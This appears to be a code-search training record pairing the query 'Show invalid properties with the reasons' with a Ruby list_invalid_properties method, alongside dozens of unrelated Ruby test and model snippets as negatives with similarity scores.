"def test_update_location_user_merge\n to_go = locations(:burbank)\n to_stay = locations(:albion)\n params = update_params_from_loc(to_go)\n params[:location][:display_name] = to_stay.display_name\n loc_count = Location.count\n desc_count = LocationDescription.count\n past_loc_count = Location::Version.count\n past_desc_count = LocationDescription::Version.count\n post_requires_login(:edit_location, params)\n assert_response(:action => :show_location)\n assert_equal(loc_count-1, Location.count)\n assert_equal(desc_count, LocationDescription.count)\n assert_equal(past_loc_count-1, Location::Version.count)\n assert_equal(past_desc_count, LocationDescription::Version.count)\n assert_equal(10 - @new_pts, @rolf.reload.contribution)\n end",
"def test_flatten_model\r\n assert_equal( { \"ident\"=>1, \"name\"=>\"rubylicious\", \"commentary\"=>\"\", \"description\"=>\"\"},\r\n @mymodel.flatten_data)\r\n end",
"def test03_MediaOneComment_TC_24319\n\t\tcommentMediaPop\n\t\tcommentPopSubmit\n\tend",
"def copy_fields(to_msg)\n\t\tend",
"def test_to_html\n assert_equal(\"\", @field_definition.to_html(SpecialTestWrapper.new, MockFormBuilder.new('field_1'), {}, 'reporting_field_1'),\n \"to_html for an empty hash should be empty string\")\n\n field_1_html = @field_definition.to_html(SpecialTestWrapper.new, MockFormBuilder.new('field_1'), @field_1_hash, 'reporting_field_1')\n assert_equal(\n %Q{ [ reporting_field_1(field_1) => \n date[ reporting_field_1_date((field_1)date) => \n last_login[ reporting_field_1_date_last_login(((field_1)date)last_login) => \n after[ reporting_field_1_date_last_login_after((((field_1)date)last_login)after) => \n after_value ] ] ] ] }.gsub(\" \",\"\"), \n field_1_html.gsub(\" \",\"\"))\n \n field_2_html = @field_definition.to_html(SpecialTestWrapper.new, MockFormBuilder.new('field_2'), @field_2_hash, 'reporting_field_2')\n assert_equal(\n %Q{ [ reporting_field_2(field_2) => \n date[ reporting_field_2_date((field_2)date) => \n last_login[ reporting_field_2_date_last_login(((field_2)date)last_login) => \n between[ reporting_field_2_date_last_login_between((((field_2)date)last_login)between) => \n between_after_value,between_before_value ] ] ] ] }.gsub(\" \",\"\"), \n field_2_html.gsub(\" \",\"\"))\n\n field_defaults_html = @field_definition.to_html(SpecialTestWrapper.new, MockFormBuilder.new('field_3'), @field_defaults_hash, 'reporting_field_3')\n assert_not_equal(\n %Q{ [ reporting_field_3(field_3) => \n date[ reporting_field_3_date((field_3)date) => \n last_login[ reporting_field_3_date_last_login(((field_3)date)last_login) => \n after[ reporting_field_3_date_last_login_after((((field_3)date)last_login)after) => \n ] ] ] ] }.gsub(\" \",\"\"), \n field_defaults_html.gsub(\" \",\"\"))\n \n field_defaults_html = @field_definition.to_html(SpecialTestWrapper.new, MockFormBuilder.new('field_3'), @field_definition.fill_out_hash(@field_defaults_hash), 'reporting_field_3')\n assert_equal(\n %Q{ [ reporting_field_3(field_3) => \n date[ reporting_field_3_date((field_3)date) => \n last_login[ reporting_field_3_date_last_login(((field_3)date)last_login) => \n after[ reporting_field_3_date_last_login_after((((field_3)date)last_login)after) => \n ] ] ] ] }.gsub(\" \",\"\"), \n field_defaults_html.gsub(\" \",\"\"))\n \n end",
"def test_removed_custom_field\n # => to test this, we use a similar method to the prior test, but change (or remove) an attribute\n model1 = ModelAfter.create\n model2 = ModelSecond.find(model1.id)\n model2.save!\n model2.reload\n \n assert_equal model2.serialized_attributes.keys.include?('custom_field'), false\n end",
"def test_add_valid_expression\n n_manifestations = Manifestation.count\n expression = Expression.find(:first)\n assert_equal true, @manifestation.add_expression(expression)\n join_objects = ExpressionManifestation.find(:all, \n :conditions => [\"expression_id = ? and manifestation_id = ?\",expression.expression_id,@manifestation.manifestation_id])\n assert_equal 1, join_objects.length \n \n end",
"def merge_hook(duplicate)\n # Example code:\n # duplicate.custom_association.each do |ca|\n # ca.contact = self; ca.save!\n # end\n end",
"def ignored_merge_attributes\n IGNORED_ATTRIBUTES\n end",
"def test_unverified_user_fb_sign_up_ugc_merge\n # Step 1\n @user.email = @fb_user['email']\n turtle_response = @user.register\n assert_response(turtle_response, :success)\n assert(@user.id)\n @user.login_oauth\n assert(@user.oauth_token)\n\n # Step 2\n assign_http(Config[\"panda\"][\"host\"])\n\n opts = { 'vrid' => @user.vrid }\n\n get_consumer_search_resp('ramen', 'glendale, ca', opts)\n\n assert_response(@response, :success)\n\n listing = @parsed_response['SearchResult']['BusinessListings'].first\n int_xxid = listing['Int_Xxid']\n\n # Step 3\n assign_http(Config[\"monkey\"][\"host\"])\n\n headers = { 'Content-Type' => 'image/jpg' }\n\n params = {\n 'api_key' => Config[\"monkey\"][\"api_key\"],\n 'oauth_token' => @user.oauth_token,\n 'metadata' => {\n 'user_type' => 'xx'\n }\n }\n\n put_file \"/b_image\", params, generate_random_image, headers\n\n assert_response(@response, :success)\n sha1 = @parsed_response['id']\n\n params = {\n 'ext_type' => 'int_xxid',\n 'ext_id' => int_xxid,\n 'oauth_token' => @user.oauth_token,\n 'api_key' => Config[\"monkey\"][\"api_key\"],\n 'metadata' => {\n 'user_type' => 'xx'\n }\n }\n\n post \"/b_image/#{sha1}\", params\n\n assert_response(@response, :success)\n\n # Step 4\n refute_image_in_consumer_business(sha1, listing)\n assert_image_in_profile(sha1, @user)\n\n # Step 5\n login_fb_user!(@fb_user, @user)\n\n # Step 6\n assert_image_in_consumer_business(sha1, listing)\n assert_image_in_profile(sha1, @user)\n\n # Step 7\n assign_http(Config[\"monkey\"][\"host\"])\n\n params = {\n 'ext_type' => 'int_xxid',\n 'ext_id' => int_xxid,\n 'oauth_token' => @user.oauth_token,\n 'api_key' => Config[\"monkey\"][\"api_key\"],\n 'reason' => 6\n }\n\n post \"/b_image/#{sha1}/int_xxid/#{int_xxid}/report\", params\n assert_response(@response, :success)\n\n params = { 'api_key' => Config[\"monkey\"][\"api_key\"] }\n\n get \"/business/images/#{int_xxid}\", params\n assert_response(@response, :success)\n refute_empty(@parsed_response[int_xxid],\n \"Expected response for int_xxid #{int_xxid} to not be empty: #{@parsed_response}\")\n refute(@parsed_response[int_xxid].map { |images| images['id'] }.include?(sha1),\n \"Expected image removed from list after delete: #{sha1}\")\n end",
"def test_optional_fields\n @event.event_finish = nil\n fields = ['event_start','entry_age_limit', 'internal_note', 'entry_fee_note', 'prize_info_note']\n fields = fields + ['event_finish','entry_deadline','tickets_note', 'general_note']\n \n for field in fields\n puts \"***SETTING TO NIL:#{field}\"\n @event.send(field << '=' , nil)\n assert @event.save\n end\n end",
"def before_test(test); end",
"def before_test(test); end",
"def test_cascading_json_detection_with_log_entry_insert_id_field\n verify_cascading_json_detection_with_log_entry_fields(\n 'insertId', DEFAULT_INSERT_ID_KEY,\n root_level_value: INSERT_ID,\n nested_level_value: INSERT_ID2\n )\n end",
"def test_should_associate_images\n a_product = items(:lightsaber)\n assert_equal a_product.images.count, 3\n\n lightsabers_image = substruct_fixture_file(\"lightsabers.jpg\")\n\n an_image = Image.new\n an_image.upload = lightsabers_image\n assert an_image.save\n \n a_product.images << an_image\n assert_equal a_product.images.count, 4\n \n # We must erase the record and its files by hand, just calling destroy.\n assert an_image.destroy\n end",
"def test_putrelation_delete_valid\n relation = create(:relation)\n create(:relation_member, :relation => relation)\n create(:relation_tag, :relation => relation)\n cs_id = relation.changeset.id\n user = relation.changeset.user\n\n amf_content \"putrelation\", \"/1\", [\"#{user.email}:test\", cs_id, relation.version, relation.id, relation.tags, relation.members, false]\n post :amf_write\n assert_response :success\n amf_parse_response\n result = amf_result(\"/1\")\n\n assert_equal 5, result.size\n assert_equal 0, result[0]\n assert_equal \"\", result[1]\n assert_equal relation.id, result[2]\n assert_equal relation.id, result[3]\n assert_equal relation.version + 1, result[4]\n\n new_relation = Relation.find(relation.id)\n assert_equal relation.version + 1, new_relation.version\n assert_equal [], new_relation.members\n assert_equal({}, new_relation.tags)\n assert_equal false, new_relation.visible\n end",
"def test_associate_dupe_statement\n setup_dupe_statement\n assert_equal 1, @associations.size\n assert_equal ['# comment on 1st call to f1', '# comment on 2nd call to f1'],\n @associations[@f1_1_node].map(&:text)\n assert_equal ['# comment on 1st call to f1', '# comment on 2nd call to f1'],\n @associations[@f1_2_node].map(&:text)\n end",
"def test_should_require_one_asset_if_has_been_deleted_with_attributes\n AssetRelation.destroy_all\n item = AssetType.new\n item.multiple.options[:required] = true\n\n begin\n item.update_attributes :multiple_attributes => two_asset_relation_attributes\n assert_equal 2, item.multiple.size\n assert item.valid?\n assert !item.update_attributes(:multiple_attributes => {})\n ensure\n # cleanup\n item.multiple.options[:required] = false\n end\n end",
"def test_allow_dynamic_form_fields()\n # Parameters for the API call\n name = 'farhan'\n\n # dictionary for optional form parameters\n optional_form_parameters = {}\n optional_form_parameters['field'] = 'QA'\n\n # Perform the API call through the SDK function\n result = @controller.allow_dynamic_form_fields(name, _field_parameters: optional_form_parameters)\n\n # Test response code\n assert_equal(200, @response_catcher.response.status_code)\n\n # Test whether the captured response is as we expected\n refute_nil(result)\n expected_body = JSON.parse(\n '{\"passed\":true}'\n )\n received_body = JSON.parse(@response_catcher.response.raw_body)\n assert(TestHelper.match_body(expected_body, received_body, check_values: true))\n end",
"def test_should_require_some_assets_if_provided_by_number_using_attributes\n AssetRelation.destroy_all\n item = AssetType.new\n item.sized.options[:required] = 1\n\n begin\n item.update_attributes :sized_attributes => [two_asset_relation_attributes.first]\n assert item.valid?\n ensure\n # cleanup\n item.sized.options[:required] = false\n end\n end",
"def test_attachments_added\n Attachment.storage_path = TestHelper.files_path + '/files'\n issue = Issue.find(1)\n email = HelpdeskMailer.\n email_to_supportclient(\n issue,\n {:recipient => \"owner@example.com\",\n :journal => Journal.find(3),\n :text => 'text'\n }).deliver\n assert !ActionMailer::Base.deliveries.empty?\n mail = ActionMailer::Base.deliveries.last\n assert_not_nil mail\n attachments_length = mail.attachments.length\n assert_equal 1, attachments_length\n filename = mail.attachments[0].filename\n assert_equal \"source.rb\", filename\n content = mail.attachments[0].body.to_s\n original_content = File.open(\n Attachment.find(\n Journal.find(3).details.first.prop_key).diskfile).read\n assert_equal original_content, content\n end",
"def test_ut_diff_source_code_o1\n assert @diff_source_code_1.save\n diff_source_code_copy = DiffSourceCode.find(@diff_source_code_1.id)\n assert_equal @diff_source_code_1.diff_file_id, diff_source_code_copy.diff_file_id \n assert @diff_source_code_1.valid?\n assert @diff_source_code_1.destroy\n end",
"def test_putrelation_update_valid\n relation = create(:relation)\n create(:relation_member, :relation => relation)\n user = relation.changeset.user\n cs_id = relation.changeset.id\n\n assert_not_equal({ \"test\" => \"ok\" }, relation.tags)\n amf_content \"putrelation\", \"/1\", [\"#{user.email}:test\", cs_id, relation.version, relation.id, { \"test\" => \"ok\" }, relation.members, true]\n post :amf_write\n assert_response :success\n amf_parse_response\n result = amf_result(\"/1\")\n\n assert_equal 5, result.size\n assert_equal 0, result[0]\n assert_equal \"\", result[1]\n assert_equal relation.id, result[2]\n assert_equal relation.id, result[3]\n assert_equal relation.version + 1, result[4]\n\n new_relation = Relation.find(relation.id)\n assert_equal relation.version + 1, new_relation.version\n assert_equal relation.members, new_relation.members\n assert_equal({ \"test\" => \"ok\" }, new_relation.tags)\n assert_equal true, new_relation.visible\n end",
"def test_update_name_deprecated2_merge\n good_name = names(:lactarius_alpinus)\n bad_name1 = names(:lactarius_alpigenes)\n bad_name2 = names(:lactarius_kuehneri)\n bad_name3 = names(:lactarius_subalpinus)\n bad_name4 = names(:pluteus_petasatus_approved)\n good_text_name = good_name.text_name\n good_author = good_name.author\n\n # First: merge deprecated into accepted, no change.\n assert_not(good_name.deprecated)\n assert(bad_name1.deprecated)\n params = {\n id: bad_name1.id,\n name: {\n text_name: good_name.text_name,\n author: good_name.author,\n rank: \"Species\",\n deprecated: \"false\"\n }\n }\n login(\"rolf\")\n put(:update, params: params)\n\n assert_flash_success\n assert_redirected_to(name_path(good_name.id))\n assert_no_emails\n assert_not(Name.exists?(bad_name1.id))\n assert(good_name.reload)\n assert_not(good_name.deprecated)\n assert_equal(good_author, good_name.author)\n assert_equal(good_text_name, good_name.text_name)\n assert_equal(1, good_name.version)\n assert_equal(1, good_name.versions.size)\n\n # Second: merge accepted into deprecated, no change.\n good_name.change_deprecated(true)\n bad_name2.change_deprecated(false)\n good_name.save\n bad_name2.save\n assert_equal(2, good_name.version)\n assert_equal(2, good_name.versions.size)\n\n assert(good_name.deprecated)\n assert_not(bad_name2.deprecated)\n params[:id] = bad_name2.id\n params[:name][:deprecated] = \"true\"\n put(:update, params: params)\n\n assert_flash_success\n assert_redirected_to(name_path(good_name.id))\n assert_no_emails\n assert_not(Name.exists?(bad_name2.id))\n assert(good_name.reload)\n assert(good_name.deprecated)\n assert_equal(good_author, good_name.author)\n assert_equal(good_text_name, good_name.text_name)\n assert_equal(2, good_name.version)\n assert_equal(2, good_name.versions.size)\n\n # Third: merge deprecated into deprecated, but change to accepted.\n assert(good_name.deprecated)\n assert(bad_name3.deprecated)\n params[:id] = bad_name3.id\n params[:name][:deprecated] = \"false\"\n put(:update, params: params)\n\n assert_flash_success\n assert_redirected_to(name_path(good_name.id))\n assert_no_emails\n assert_not(Name.exists?(bad_name3.id))\n assert(good_name.reload)\n assert_not(good_name.deprecated)\n assert_equal(good_author, good_name.author)\n assert_equal(good_text_name, good_name.text_name)\n assert_equal(3, good_name.version)\n assert_equal(3, good_name.versions.size)\n\n # Fourth: merge accepted into accepted, but change to deprecated.\n assert_not(good_name.deprecated)\n assert_not(bad_name4.deprecated)\n params[:id] = bad_name4.id\n params[:name][:deprecated] = \"true\"\n put(:update, params: params)\n\n assert_flash_success\n assert_redirected_to(name_path(good_name.id))\n assert_no_emails\n assert_not(Name.exists?(bad_name4.id))\n assert(good_name.reload)\n assert(good_name.deprecated)\n assert_equal(good_author, good_name.author)\n assert_equal(good_text_name, good_name.text_name)\n assert_equal(4, good_name.version)\n assert_equal(4, good_name.versions.size)\n end",
"def test02_ArticleOneComment_TC_24319\n\t\tcommentArticlePop\n\t\tcommentPopSubmit\n\tend",
"def test02_MediaTwoComments\n\t\tcommentMediaPop\n\t\tcommentPopSubmit\n\tend",
"def test02_ArticleAllFields\n\t\tloginPost\n\t\t$browser.goto($patch_article)\n\t\t\t\n\t\t\tsleep 2\n\t\t\tif $post_pick_group.exists?\n \t\t\t\tpostGroupPop\n \t\t\t\tpostGroupPop2\n \t\t\t\t$post_article_title.set(\"Article #{random}\")\n \t\t\t\t$browser.execute_script(\"jQuery('iframe.wysihtml5-sandbox').contents().find('body').prepend('lava is hot.')\")\n \t\t\t\t$post_add_media.click\n\t\t\t\t$post_media_file_upload.set(\"#{$post_media_username}/patch-automation/test/TestData/GlacierBasinTrailMtRainier.JPG\")\n\t\t\t\t$post_add_media.click\n\t\t\t\t$post_media_file_upload.set(\"#{$post_media_username}/patch-automation/test/TestData/GlacierBasinTrailMtRainier.JPG\")\n\t\t\t\t$post_now.fire_event(\"onclick\")\n\t\t\telse puts \"PS01T02: FAILED! User unable to locate Post button.\"\n\t\t\tend\n\t\t\t\n\t\tbegin\n\t\tsleep 2\n\t\tassert $post_new_post.exists?\n\t\t\trescue => e\n\t\t\tputs (\"P01T02: FAILED! User unable to Post.\")\n\t\t\tputs e\n\t\tend\n\tend",
"def test_entry_attrs\n raise \"Implement this method in your test class\"\n end",
"def test_update_name_merge_both_notes\n old_name = names(:mergeable_description_notes)\n new_name = names(:mergeable_second_description_notes)\n old_notes = old_name.description.notes\n new_notes = new_name.description.notes\n params = {\n id: old_name.id,\n name: {\n text_name: new_name.text_name,\n author: new_name.author,\n rank: new_name.rank,\n deprecated: (new_name.deprecated ? \"true\" : \"false\"),\n citation: \"\"\n }\n }\n login(\"rolf\")\n put(:update, params: params)\n\n assert_flash_success\n assert_redirected_to(name_path(new_name.id))\n assert_no_emails\n assert(new_name.reload)\n assert_not(Name.exists?(old_name.id))\n assert_equal(new_notes, new_name.description.notes)\n # Make sure old notes are still around.\n other_desc = (new_name.descriptions - [new_name.description]).first\n assert_equal(old_notes, other_desc.notes)\n end",
"def before_import ; end",
"def test_entry_attrs\n raise 'Implement the method \"test_entry_attrs\" in your test class'\n end",
"def update\n @test_case = current_user.group.test_cases.find(params[:id])\n \n @uploaded_data = params[:koala_test_case].delete :uploaded_data\n @test_case = @test_case.clone if params[:clone]\n @test_case.updated_by = current_user.id if logged_in?\n \n# update_tags\n params[:koala_test_case].merge!(params[:test_case])\n respond_to do |format|\n if @test_case.update_attributes(params[:koala_test_case])\n unless @uploaded_data.blank?\n @file_attachment = FileAttachment.new({:uploaded_data => @uploaded_data})\n @test_case.file_attachments << @file_attachment\n end \n flash[:notice] = 'KoalaTestCase was successfully updated.'\n format.html { redirect_to(@test_case) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @test_case.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def pre_initialize_fields\n end",
"def test_update_name_merge_no_notes_into_description_notes\n old_name = names(:mergeable_no_notes)\n new_name = names(:mergeable_description_notes)\n notes = new_name.description.notes\n params = {\n id: old_name.id,\n name: {\n text_name: new_name.text_name,\n author: new_name.author,\n rank: new_name.rank,\n citation: \"\",\n deprecated: (old_name.deprecated ? \"true\" : \"false\")\n }\n }\n login(\"rolf\")\n put(:update, params: params)\n\n assert_flash_success\n assert_redirected_to(name_path(new_name.id))\n assert_no_emails\n assert(new_name.reload)\n assert_not(Name.exists?(old_name.id))\n assert_equal(notes, new_name.description.notes)\n end",
"def merge_into(r)\n if !self.metadata[:add].nil?\n if !r.metadata[:add].nil?\n r.metadata[:add] |= self.metadata[:add]\n else\n r.metadata[:add] = self.metadata[:add]\n end\n end\n\n if !self.metadata[:remove].nil?\n if !r.metadata[:remove].nil?\n r.metadata[:remove] |= self.metadata[:remove]\n else\n r.metadata[:remove] = self.metadata[:remove]\n end\n end\n\n if !r.metadata[:todos].nil?\n r.metadata[:todos] |= r.metadata[:add] - r.metadata[:remove]\n else\n r.metadata[:todos] = r.metadata[:add] - r.metadata[:remove]\n end\n\n if !r.metadata[:tags].nil?\n r.metadata[:tags] |= self.metadata[:tags] if !self.metadata[:tags].nil?\n else\n r.metadata[:tags] = self.metadata[:tags]\n end\n\n if !self.metadata[:tags]\n self.metadata[:tags].each do |tag|\n r.add_tags(tag)\n end\n end\n\n r.sector_tag_list |= self.sector_tag_list\n r.type_tag_list |= self.type_tag_list\n r.input_method_list |= self.input_method_list\n r.PFO_statu_list |= self.PFO_statu_list\n r.organizer_list |= self.organizer_list\n\n r.email << (\", \" + self.email) if r.email.blank? && !self.email.blank?\n r.phone = self.phone if r.phone.blank? && !self.phone.blank?\n r.organization = self.organization if r.organization.blank? && !self.organization.blank?\n r.position = self.position if r.position.blank? && !self.position.blank?\n r.address = self.address if r.address.blank? && !self.address.blank?\n\n r.street_address = self.street_address if r.street_address.nil? && !self.street_address.nil?\n r.user = self.user if r.user.nil? && !self.user.nil?\n\n if !self.notes.nil? && !self.notes.empty?\n if r.notes.nil?\n r.notes = self.notes\n else\n new_notes = r.notes << \", \" << self.notes\n r.notes = nil\n r.save\n r.notes = new_notes\n end\n end\n\n r.manually_added ||= self.manually_added\n r.save\n end",
"def test_ID_25836_edit_profile_pic\n login_as_user1\n go_to_edit_profile_page\n verify_valid_profile_pic_uploaded \"valid\"\n verify_unable_to_upload_non_image_file \"PDFDocument\"\n verify_user_able_to_close_photo_upload_dialog\n verify_user_able_to_cancel_photo_upload_dialog\n end",
"def test_params(params = {})\n nesting_params.merge(params)\n end",
"def test_option_merger_class_method\n assert_equal ActiveSupport::OptionMerger, ActiveSupport::OptionMerger.new(\"\", \"\").class\n end",
"def test_ut_diff_warning_02\n assert_equal 2,@diff_warning.diff_status_id\n assert_equal 1,@diff_warning.diff_file_id\n assert_equal 1,@diff_warning.rule_set\n assert_equal 1,@diff_warning.warning_id\n assert_equal 1,@diff_warning.original_file_id\n end",
"def merge_details_replace_field(target, victim, selections, values)\n selections.each do |path_fix|\n subrec_name = path_fix[0]\n # this is the index of the order the user arranged the subrecs in the form, not the order of the subrecords in the DB.\n ind = path_fix[1]\n field = path_fix[2]\n position = path_fix[3]\n\n subrec_index = find_subrec_index_in_victim(victim, subrec_name, position)\n\n target[subrec_name][ind][field] = victim[subrec_name][subrec_index][field]\n end\n end",
"def default_fields_for_forms\n [\n { name: :get_verbose_conflicting_row, width: 50,\n label: I18n.t('admin_import.conflicting_row')\n },\n { name: :import_text, flex: 1, label: I18n.t('admin_import.import_text') },\n\n { name: :name, width: 180, label: I18n.t('activerecord.attributes.team.name') },\n { name: :badge_number, width: 100, label: I18n.t('activerecord.attributes.team.zip') },\n\n { name: :data_import_city__name, width: 200,\n label: I18n.t('activerecord.models.data_import_city')\n },\n { name: :city__get_full_name, width: 200, label: I18n.t('activerecord.models.city')\n }\n ]\n end",
"def test_validate_fields\n ba = BillingAddress.new\n assert_equal [:name, :address1, :city, :state, :zip, :country, :phone, :email], ba.validate_fields\n end",
"def test_create_test_credit_note_defaults_working\n credit_note = create_test_credit_note\n\n # Test credit_note defaults.\n assert_equal('ACCRECCREDIT', credit_note.type)\n assert_kind_of(Date, credit_note.date)\n assert_equal('12345', credit_note.credit_note_number)\n assert_equal('MY REFERENCE FOR THIS CREDIT NOTE', credit_note.reference)\n assert_equal(\"Exclusive\", credit_note.line_amount_types)\n\n # Test the contact defaults.\n assert_equal('00000000-0000-0000-0000-000000000000', credit_note.contact.contact_id)\n assert_equal('CONTACT NAME', credit_note.contact.name)\n\n # Test address defaults.\n assert_equal('DEFAULT', credit_note.contact.address.address_type)\n assert_equal('LINE 1 OF THE ADDRESS', credit_note.contact.address.line_1)\n\n # Test phone defaults.\n assert_equal('DEFAULT', credit_note.contact.phone.phone_type)\n assert_equal('12345678', credit_note.contact.phone.number)\n\n # Test the line_item defaults.\n assert_equal('A LINE ITEM', credit_note.line_items.first.description)\n assert_equal('200', credit_note.line_items.first.account_code)\n assert_equal(BigDecimal('100'), credit_note.line_items.first.unit_amount)\n assert_equal(BigDecimal('12.5'), credit_note.line_items.first.tax_amount)\n\n # Test overriding an credit_note parameter (assume works for all).\n credit_note = create_test_credit_note({:type => 'ACCPAYCREDIT'})\n assert_equal('ACCPAYCREDIT', credit_note.type)\n\n # Test overriding a contact/address/phone parameter (assume works for all).\n credit_note = create_test_credit_note({}, {:name => 'OVERRIDDEN NAME', :address => {:line_1 => 'OVERRIDDEN LINE 1'}, :phone => {:number => '999'}})\n assert_equal('OVERRIDDEN NAME', credit_note.contact.name)\n assert_equal('OVERRIDDEN LINE 1', credit_note.contact.address.line_1)\n assert_equal('999', credit_note.contact.phone.number)\n\n # Test overriding line_items with hash.\n credit_note = create_test_credit_note({}, {}, {:description => 'OVERRIDDEN LINE ITEM'})\n assert_equal(1, credit_note.line_items.size)\n assert_equal('OVERRIDDEN LINE ITEM', credit_note.line_items.first.description)\n assert_equal(BigDecimal('100'), credit_note.line_items.first.unit_amount)\n\n # Test overriding line_items with array of 2 line_items.\n credit_note = create_test_credit_note({}, {}, [\n {:description => 'OVERRIDDEN ITEM 1'},\n {:description => 'OVERRIDDEN ITEM 2', :account_code => '200', :unit_amount => BigDecimal('200'), :tax_amount => '25.0'}\n ])\n assert_equal(2, credit_note.line_items.size)\n assert_equal('OVERRIDDEN ITEM 1', credit_note.line_items[0].description)\n assert_equal(BigDecimal('100'), credit_note.line_items[0].unit_amount)\n assert_equal('OVERRIDDEN ITEM 2', credit_note.line_items[1].description)\n assert_equal(BigDecimal('200'), credit_note.line_items[1].unit_amount)\n end",
"def test_legacy_codes_unique\n spods = Person.find(:all, :limit => 2)\n person1 = spods[0]\n person2 = spods[1]\n \n new_leg_code = \"AAAA\"\n assert person1.legacy4d_identity_code !=person2.legacy4d_identity_code\n person1.legacy4d_identity_code = new_leg_code\n person2.legacy4d_identity_code = new_leg_code\n assert !person1.save\n assert !person2.save\n \n end",
"def test_basic_account_migration_step2\n post :register, {:user => old_c2w_users(:jim).to_user.attributes.delete_if{|k,v| ![:username, :email,\n :gender, :date_of_birth, :address_line_1, :address_line_2, :state, :city, :country, :pin_code,\n :mobile_number, :phone_number].include?(k.to_sym)}.merge({:password_confirmation => 'jim277', :password => 'jim277'})},\n {:old_c2w_user => old_c2w_users(:jim)}\n assert assigns['user'].errors.empty?\n user = assigns['user']\n assert !session[:user]\n assert session[:old_c2w_user].nil?\n assert old_c2w_users(:jim).migrated?\n assert_equal AppConfig.migration_bonus_credits + AppConfig.sign_up_bonus_credits + old_c2w_users(:jim).points, user.prize_points\n assert_equal AppConfig.migration_bonus_credits > 0 ? 3:2, user.credit_transactions.count\n assert_equal user.id, old_c2w_users(:jim).new_user_id\n assert_equal old_c2w_users(:jim).date_of_registration.to_time.to_i, user.created_on.to_time.to_i\n end",
"def test05_NoteTwoComments_TC_24319\n\t\tcommentNotePop\n\t\tcommentPopSubmit\n\tend",
"def test_document_max_length\n\n new_document = Document.new( #:data => 'a' * (Document::MAX_FILE_SIZE - 1),\n :data => 'a' * 100,\n :unpacked => 0,\n :name => 'dummy.doc',\n :content_type => 'text/html',\n :created_by => @cathy.id)\n\n documents = Document.find(:all)\n design_review_documents = DesignReviewDocument.find(:all)\n\n new_document.attach(@mx234a_placement,\n document_types(:stackup),\n @cathy)\n\n updated_documents = Document.find(:all)\n updated_design_review_documents = DesignReviewDocument.find(:all)\n\n new_document_list = updated_documents - documents\n new_design_review_document_list = updated_design_review_documents - design_review_documents\n\n assert_equal(1, new_document_list.size)\n assert_equal(1, new_design_review_document_list.size)\n\n new_doc = new_document_list[0]\n new_design_review_document = new_design_review_document_list[0]\n\n assert_equal(new_document.id, new_doc.id)\n assert_equal(new_document.id, new_design_review_document.document_id)\n\n \n end",
"def extended_by(mod)\n @expected_options[:extend] = mod\n self\n end",
"def test_add_option04a\n assert_nothing_raised {\n ArgumentManager.add_option(\n [ 's' ],\n :type => :string,\n :df_str => 'foo'\n )\n }\n end",
"def setup\n @last_import_data = { string_field: \"import four\", integer_field: 4, extra_field: \" extra\" }\n end",
"def test_defaults\n end",
"def test_additional_model_properties()\n # Parameters for the API call\n model = AdditionalModelParameters.from_hash(APIHelper.json_deserialize(\n '{\"name\":\"farhan\",\"field\":\"QA\",\"address\":\"Ghori Town\",\"Job\":{\"company\":\"'\\\n 'APIMATIC\",\"location\":\"NUST\"}}'\n ))\n\n # Perform the API call through the SDK function\n result = @controller.additional_model_parameters(model)\n\n # Test response code\n assert_equal(200, @response_catcher.response.status_code)\n\n # Test whether the captured response is as we expected\n refute_nil(result)\n expected_body = JSON.parse(\n '{\"passed\":true}'\n )\n received_body = JSON.parse(@response_catcher.response.raw_body)\n assert(TestHelper.match_body(expected_body, received_body, check_values: true))\n end",
"def merged_fields(new_field)\n field_ids = []\n merged_fields = fields.each_with_object([]) do |field, fields|\n field.deep_merge!(new_field) if field.id == new_field.id\n fields << field\n field_ids << field.id\n end\n merged_fields << new_field unless field_ids.include?(new_field.id)\n merged_fields\n end",
"def test_ut_t2_ats_acd_004 \n new = AnalyzeConfigDetail.create()\n new.copy(@acd_last)\n\n assert_equal @acd_last.analyze_tool_id, new.analyze_tool_id\n assert_equal @acd_last.make_root, new.make_root\n assert_equal @acd_last.make_options, new.make_options\n assert_equal @acd_last.environment_variables, new.environment_variables\n assert_equal @acd_last.analyze_allow_files, new.analyze_allow_files\n assert_equal @acd_last.analyze_deny_files, new.analyze_deny_files\n assert_equal @acd_last.analyze_tool_config, new.analyze_tool_config\n assert_equal @acd_last.header_file_at_analyze, new.header_file_at_analyze\n assert_equal @acd_last.others, new.others\n\n AnalyzeConfigDetail.delete(:last)\n end"
] |
[
"0.6094126",
"0.5764082",
"0.5726817",
"0.5674355",
"0.56248164",
"0.5575488",
"0.557181",
"0.55328673",
"0.53965706",
"0.5371851",
"0.53565717",
"0.5332604",
"0.5289605",
"0.52349776",
"0.5226545",
"0.52100784",
"0.51951534",
"0.51950985",
"0.51910824",
"0.5151763",
"0.51446867",
"0.51437426",
"0.51388067",
"0.512566",
"0.5070226",
"0.50611204",
"0.5038044",
"0.502114",
"0.5015339",
"0.50056815",
"0.5000088",
"0.49969614",
"0.49955034",
"0.49864817",
"0.498355",
"0.4982754",
"0.49744084",
"0.49710825",
"0.4959912",
"0.49558362",
"0.4942976",
"0.4936743",
"0.4936213",
"0.49212456",
"0.4917837",
"0.49138784",
"0.48989013",
"0.4896324",
"0.48958",
"0.48874563",
"0.48869234",
"0.48833278",
"0.4881165",
"0.4878289",
"0.4877147",
"0.48727056",
"0.4869095",
"0.48683852",
"0.4863334",
"0.4863334",
"0.48621148",
"0.4851809",
"0.4851182",
"0.48425636",
"0.4842227",
"0.48402262",
"0.48402062",
"0.48401788",
"0.4837601",
"0.48344535",
"0.48303762",
"0.48247284",
"0.48241025",
"0.48175204",
"0.48145524",
"0.48066235",
"0.4805803",
"0.4805101",
"0.4801844",
"0.48003817",
"0.47964862",
"0.47964698",
"0.47947204",
"0.47813058",
"0.4780707",
"0.47760898",
"0.47749788",
"0.47745928",
"0.4768071",
"0.47616744",
"0.47588682",
"0.4751975",
"0.47504663",
"0.47501037",
"0.47482634",
"0.4745867",
"0.47389156",
"0.4738752",
"0.47383842",
"0.47375518",
"0.47333175"
] |
0.0
|
-1
|
Show invalid properties with the reasons. Usually used together with valid?
|
def list_invalid_properties
invalid_properties = Array.new
return invalid_properties
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def list_invalid_properties\n invalid_properties = super\n if @class_id.nil?\n invalid_properties.push('invalid value for \"class_id\", class_id cannot be nil.')\n end\n\n if @object_type.nil?\n invalid_properties.push('invalid value for \"object_type\", object_type cannot be nil.')\n end\n\n invalid_properties\n end",
